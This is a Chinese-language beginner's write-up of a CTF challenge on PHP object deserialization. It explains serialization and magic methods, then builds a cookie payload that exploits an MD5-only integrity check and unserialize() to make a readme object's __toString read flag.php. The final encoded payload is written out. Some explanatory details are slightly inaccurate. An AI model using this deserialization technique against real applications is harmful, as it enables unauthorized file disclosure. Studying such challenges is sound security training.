0x01 前言
最近在学习PHP的反序列化漏洞,做了几道题目,也总结出了一点经验。当然我是小白,可能有不少地方有缺漏欢迎各位大佬批评指正
0x02 原理
1、序列化与反序列化
序列化就是将某个对象转化为字节数据的过程,反序列就是将字节数据转化为对象的过程。打个比方就是序列化就是存档,反序列化就是读档。
<?php
Class exa{
public function a1()
{
echo "123231";
}
function __wakeup()
{
$aa="qwe";
echo $aa;
}
function a3()
{
echo $this->source;
}
}
$a=new exa;
$a -> source=123333;
echo serialize($a);
?>
这是一段PHP的序列化的代码,其运行结果为
O:3:"exa":1:{s:6:"source";i:123333;}
当然这段代码是有规律可循的可以参考PHP 序列化(serialize)格式详解-php手册-PHP中文网
2、魔术方法
学过python的朋友可能知道,初始化方法是在当某个实例被创建的时候,自动执行的方法,对应到PHP当中也就是这样。在PHP当中使用new来创建时所自动执行的代码(其实这里不是很准确)具体有哪些方法可以参考PHP: 魔术方法 - Manual
也就是上面演示的__wakeup()
3、其他
有人可能会好奇$this->source是什么,可以将其理解为形式参数,也就是个占位置的,真正的值需要从外部去获取也就是$a -> source =12333
new为以exa这个类为图纸创建的一个对象
0x03 实战
<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__;
echo $s;
exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
</head>
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
1、介绍
上面的是某道ctf题目其中
highlight_file为高亮显示某个文件里面的内容
serialize为序列化函数
unserialize为反序列化函数
flag就在flag.php文件里面我们的思路就是利用highlight_file函数将flag.php读取获得flag
__toString为当输出字符串的时候才会执行的方法
<?=$todo?>就等于<?php echo $todo;?>
2、思路
全程我们需要用到的函数就是unserialize函数,也就是无疑我们要进入第二个if,$h截取的是我们通过cookie传入的值的前32位,$m截取的是后32位,我们还要满足的条件就是使得md5($m)===$h成立,然后就可以反序列化了,我们只需要让unserialize读取我们指定的存档就可以获得flag啦(下面有输出字符串就能够自动调用魔术方法啦,这里必须要是数组,上面有一个foreach遍历循环)
3、过程
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
我们先来分析一下这段,逆序分析,它先反序列化了一下,我们就序列化一下我们索要魔改的存档
代码如下
<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
$a=new readme;
$a -> source='flag.php';
$a=[$a];
echo serialize($a);
?>
结果如下:O:6:"readme":1:{s:6:"source";s:8:"flag.php";}
$h需要使用md5加密,$m就是上面的结果所以结果就是
e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
这里注意一下我们需要使用url编码一下,因为cookie是要经过url来传输的,所以要url编码一次
最后payload为:
e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D